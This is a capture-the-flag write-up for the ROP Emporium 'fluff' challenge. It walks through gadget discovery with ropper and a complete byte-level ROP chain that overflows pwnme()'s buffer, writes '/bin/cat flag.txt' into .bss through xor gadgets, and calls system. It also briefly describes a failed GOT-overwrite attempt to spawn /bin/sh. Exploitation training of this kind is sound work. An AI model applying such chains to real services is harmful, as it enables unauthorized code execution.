06_fluff
ROP Emporium fluff
- Tools: IDA Free 7.0, gdb-gef, ropper, readelf
- Prerequistes: Stack frame
- Download solution: main.py
Overview
“The concept here is identical to the write4 challenge. The only difference is we may struggle to find gadgets that will get the job done.”
This one has funky xor gadgets, but it’s still possible to write where we want.
#Fails
Dear diary, today I had a lot of fun but also experimented some frustration. I tried several things that didn’ work, but in the end I got the flag. It stated with an idea like this: because _fgets() returns a pointer to the input buffer, I tried to write /bin/sh on the stack and then to overwrite the .got.plt entry of _memset() with the address of _system(), and finally to return to mov rdi, rax; call _memset(). I seemed to work (at least according to ps, and gdb indicated the creation of a child process), but I was unable to use this new shell. I tried a second time, replacing "/bin/sh" by "/bin/cat flag.txt", but was unable to get the output. In addition, overwritting the .got.plt entry of _memset() with the one of _system() generated a Bus error. I still have to figure out why things went this way, but in the end I opted for an easier solution which is basically the write4 challenge with xor. Also, this is the first challenge for which returning to instruction call system majestically failed to execute the commandline pointed by edi; the fix was to return to plt.system.
Function pwnme()
The function pwnme() calls _fgets(), and _fgets() accepts up to 0x220 input bytes:
1
2
3
4
5
0x00000000004007EC mov rdx, cs:stdin@@GLIBC_2_2_5 ; stream
0x00000000004007F3 lea rax, [rbp+s]
0x00000000004007F7 mov esi, 200h ; n
0x00000000004007FC mov rdi, rax ; s
0x00000000004007FF call _fgets
Function usefulFunction():
This function calls _system() with edi pointing to the string "/bin/ls":
1
2
0x000000000040080B mov edi, offset command ; "/bin/ls"
0x0000000000400810 call _system
Writeable area
Let’s stick with the .bss section, 0x30 bytes is large enough to contains the string "/bin/cat flag.txt_":
1
2
3
4
5
6
7
8
9
10
readelf --sections fluff
There are 31 section headers, starting at offset 0x1bf8:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[...]
[26] .bss NOBITS 0000000000601060 00001060
0000000000000030 0000000000000000 WA 0 0 32
[...]
Searching gadgets
We find a memory write gadget:
1
2
3
ropper --search "mov [%]" -f ../challs/fluff
0x000000000040084e: mov qword ptr [r10], r11; pop r13; pop r12; xor byte ptr [r10], r12b; ret;
Okay, mov qword ptr [r10], r11 is cool if:
- We can control
r10; - we can control
r11.
But before that, note the xor [r10], r12b: it writes to memory, but if we set r12b to 0 (thanks to the pop r12), the data at [r10] won’t change. This also means we could chain the pop/xor/ret to decode or restore altered data, similarly to the badchars challenge.
Now, let’s look for r10:
1
2
3
ropper --search "% r10" -f ../challs/fluff
[...]
0x0000000000400840: xchg r11, r10; pop r15; mov r11d, 0x602050; ret;
A nice xchg r11, r10. In addition, we note that using this gadget will also execute the instruction mov r11d, 0x602050. So, at this point we can control r10 through r11, but we don’t fully control r11. Can we have a better control on it? Let’s check:
1
2
3
4
ropper --search "% r11" -f ../challs/fluff
[...]
0x0000000000400822: xor r11, r11; pop r14; mov edi, 0x601050; ret;
0x000000000040082f: xor r11, r12; pop r12; mov r13d, 0x604060; ret;
Hm. The xor r11, r12 adds another level of dependency, but the pop r12 allows to control the full chain.
In a nushell:
1
2
3
4
5
6
7
8
9
10
; set r10 = pointer
mov r11d, 0x602050 ; hardcoded constraint
pop r12 ; anything we want
xor r11, r12 ; full control on r11
xchg r11, r10 ; full control on r10
; write to [r10]
mov r11d, 0x602050 ; hardcoded constrain
pop r12 ; anything we want
xor r11, r12 ; thus, also anything we want
mov qword ptr [r10], r11 ; full control on [r10]
Finally, we need a gadget to set edi to points to the commandline to execute:
1
2
3
ropper --search "pop ?di" -f fluff
[...]
0x00000000004008c3: pop rdi; ret;
ROP the things
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# Fill buffer
payload = b''
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41'
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41'
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41'
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41'
payload += b'\x42\x42\x42\x42\x42\x42\x42\x42'
# Round 1
# set r10 = 0x00601060 (.bss)
payload += b'\x45\x08\x40\x00\x00\x00\x00\x00' # mov r11, 602050; ret
payload += b'\x32\x08\x40\x00\x00\x00\x00\x00' # pop r12; mov r13, junk; ret
payload += b'\x30\x30\x00\x00\x00\x00\x00\x00' # xorkey = 0x3030; (0x602050^0x3030=0x601060)
payload += b'\x2f\x08\x40\x00\x00\x00\x00\x00' # xor r11, r12; pop r12; mov r13,junk;ret
payload += b'\x7f\x42\x09\x6e\x2f\x63\x61\x74' # xorkey 2 (tac/nib/ ^ 602050)
#payload += b'\x7f\x42\x09\x6e\x2f\x73\x68\x00' # xorkey 2 (\x00hs/nib/ ^ 602050)
payload += b'\x40\x08\x40\x00\x00\x00\x00\x00' # xchg r10, r11; pop r15; mov r11, 602050; ret
payload += b'junk1234'
# set r11="/bin/cat"
payload += b'\x2f\x08\x40\x00\x00\x00\x00\x00' # xor r11, r12; pop r12; mov r13,junk; ret
payload += b'junk5678'
payload += b'\x4e\x08\x40\x00\x00\x00\x00\x00' # mov [r10], r11; pop r13; pop r12; xor [r10], r12b; ret
payload += b'junk9abc'
payload += b'\x00\x00\x00\x00\x00\x00\x00\x00' # neutralize the xor r12b
# Round 2
# set r10 = .bss+8
payload += b'\x45\x08\x40\x00\x00\x00\x00\x00' # mov r11, 602050; ret
payload += b'\x32\x08\x40\x00\x00\x00\x00\x00' # pop r12; mov r13, junk; ret
payload += b'\x38\x30\x00\x00\x00\x00\x00\x00' # xorkey = 0x3030; (0x602050^0x3030=0x601060)
payload += b'\x2f\x08\x40\x00\x00\x00\x00\x00' # xor r11, r12; pop r12; mov r13,junk; ret
payload += b'\x70\x46\x0c\x61\x67\x2e\x74\x78' # xorkey 2 ("xt.galf " ^ 602050)
payload += b'\x40\x08\x40\x00\x00\x00\x00\x00' # xchg r10, r11; pop r15; mov r11, 602050; ret
payload += b'junk1234'
# set r11=" flag.tx"
payload += b'\x2f\x08\x40\x00\x00\x00\x00\x00' # xor r11, r12; pop r12; mov r13,junk; ret
payload += b'junk5678'
payload += b'\x4e\x08\x40\x00\x00\x00\x00\x00' # mov [r10], r11; pop r13; pop r12; xor [r10], r12b; ret
payload += b'junk9abc'
payload += b'\x00\x00\x00\x00\x00\x00\x00\x00' # neutralize the xor r12b
# Round 3
# set r10 = .bss+0x10
payload += b'\x45\x08\x40\x00\x00\x00\x00\x00' # mov r11, 602050; ret
payload += b'\x32\x08\x40\x00\x00\x00\x00\x00' # pop r12; mov r13, junk; ret
payload += b'\x20\x30\x00\x00\x00\x00\x00\x00' # xorkey = 0x3030; (0x602050^0x3030=0x601060)
payload += b'\x2f\x08\x40\x00\x00\x00\x00\x00' # xor r11, r12; pop r12; mov r13,junk; ret
payload += b'\x24\x20\x60\x00\x00\x00\x00\x00' # xorkey 2 (t ^ 602050)
payload += b'\x40\x08\x40\x00\x00\x00\x00\x00' # xchg r10, r11; pop r15; mov r11, 602050; ret
payload += b'junk1234'
# set r11="t\x00"
payload += b'\x2f\x08\x40\x00\x00\x00\x00\x00' # xor r11, r12; pop r12; mov r13, junk; ret
payload += b'junk5678'
payload += b'\x4e\x08\x40\x00\x00\x00\x00\x00' # mov [r10], r11; pop r13; pop r12; xor [r10], r12b, ret
payload += b'junk9abc'
payload += b'\x00\x00\x00\x00\x00\x00\x00\x00' # neutralize the xor r12b
# call system
payload += b'\xc3\x08\x40\x00\x00\x00\x00\x00' # pop edi; ret
payload += b'\x60\x10\x60\x00\x00\x00\x00\x00' # ->"/bin/cat flag.txt"
#payload += b'\x10\x08\x40\x00\x00\x00\x00\x00' # call _system(): fails but dunno why
payload += b'\xe0\x05\x40\x00\x00\x00\x00\x00' # plt.system
EOF